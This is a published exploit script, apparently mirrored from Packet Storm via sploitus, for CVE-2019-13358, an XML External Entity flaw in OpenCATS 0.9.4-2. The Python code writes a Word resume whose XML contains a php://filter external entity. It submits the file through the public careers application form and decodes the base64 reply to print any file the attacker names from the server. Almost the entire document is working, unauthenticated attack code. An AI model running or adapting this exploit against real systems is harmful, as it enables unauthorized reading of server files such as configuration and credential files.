Share
## https://sploitus.com/exploit?id=PACKETSTORM:164253
# Exploit Title: OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE)   
# Date: 2021-09-20  
# Exploit Author: Jake Ruston  
# Vendor Homepage: https://opencats.org  
# Software Link: https://github.com/opencats/OpenCATS/releases/download/0.9.4-2/opencats-0.9.4-2-full.zip  
# Version: < 0.9.4-3  
# Tested on: Linux  
# CVE: 2019-13358  
  
from argparse import ArgumentParser  
from docx import Document  
from zipfile import ZipFile  
from base64 import b64decode  
import requests  
import re  
  
xml = """  
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<!DOCTYPE root [<!ENTITY file SYSTEM 'php://filter/convert.base64-encode/resource={}'>]>  
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14">  
<w:body>  
<w:p>  
<w:r>  
<w:t>START&file;END</w:t>  
</w:r>  
</w:p>  
<w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616">  
<w:pgSz w:w="12240" w:h="15840"/>  
<w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/>  
<w:cols w:space="720"/>  
<w:docGrid w:linePitch="360"/>  
</w:sectPr>  
</w:body>  
</w:document>  
"""  
  
class CVE_2019_13358:  
def __init__(self):  
self.args = self.parse_arguments()  
  
def parse_arguments(self):  
parser = ArgumentParser()  
  
required = parser.add_argument_group("required arguments")  
required.add_argument("--url", help="the URL where OpenCATS is hosted", required=True)  
required.add_argument("--file", help="the remote file to read", required=True)  
  
args = parser.parse_args()  
  
if not args.url.startswith("http"):  
args.url = f"http://{args.url}"  
  
args.url = f"{args.url}/careers/index.php"  
  
return args  
  
def create_resume(self):  
document = Document()  
document.add_paragraph()  
document.save("resume.docx")  
  
def update_resume(self):  
with ZipFile("resume.docx", "r") as resume:  
resume.extractall()  
  
with open("word/document.xml", "w") as document:  
document.write(xml.format(self.args.file).strip())  
  
with ZipFile("resume.docx", "w") as resume:  
resume.write("word/document.xml")  
  
def get(self):  
params = { "m": "careers", "p": "showAll" }  
  
try:  
request = requests.get(self.args.url, params=params)  
except:  
raise Exception("Failed to GET to the URL provided")  
  
id = re.search(r"ID=([0-9])*", request.text)  
  
if id is None:  
raise Exception("No vacancies were found")  
  
return id.group(1)  
  
def post(self, id):  
params = { "m": "careers", "p": "onApplyToJobOrder" }  
files = {  
"ID": (None, id),  
"candidateID": (None, -1),  
"applyToJobSubAction": (None, "resumeLoad"),  
"file": (None, ""),  
"resumeFile": open("resume.docx", "rb"),  
"resumeContents": (None, ""),  
"firstName": (None, ""),  
"lastName": (None, ""),  
"email": (None, ""),  
"emailconfirm": (None, ""),  
"phoneHome": (None, ""),  
"phoneCell": (None, ""),  
"phone": (None, ""),  
"bestTimeToCall": (None, ""),  
"address": (None, ""),  
"city": (None, ""),  
"state": (None, ""),  
"zip": (None, ""),  
"keySkills": (None, "")  
}  
  
try:  
request = requests.post(self.args.url, params=params, files=files)  
except Exception as e:  
raise Exception("Failed to POST to the URL provided", e)  
  
start = request.text.find("START")  
end = request.text.find("END")  
  
file = request.text[start + 5:end].strip()  
  
try:  
file = b64decode(file)  
file = file.decode("ascii").strip()  
except:  
raise Exception("File not found")  
  
print(file)  
  
def run(self):  
self.create_resume()  
self.update_resume()  
  
id = self.get()  
self.post(id)  
  
CVE_2019_13358().run()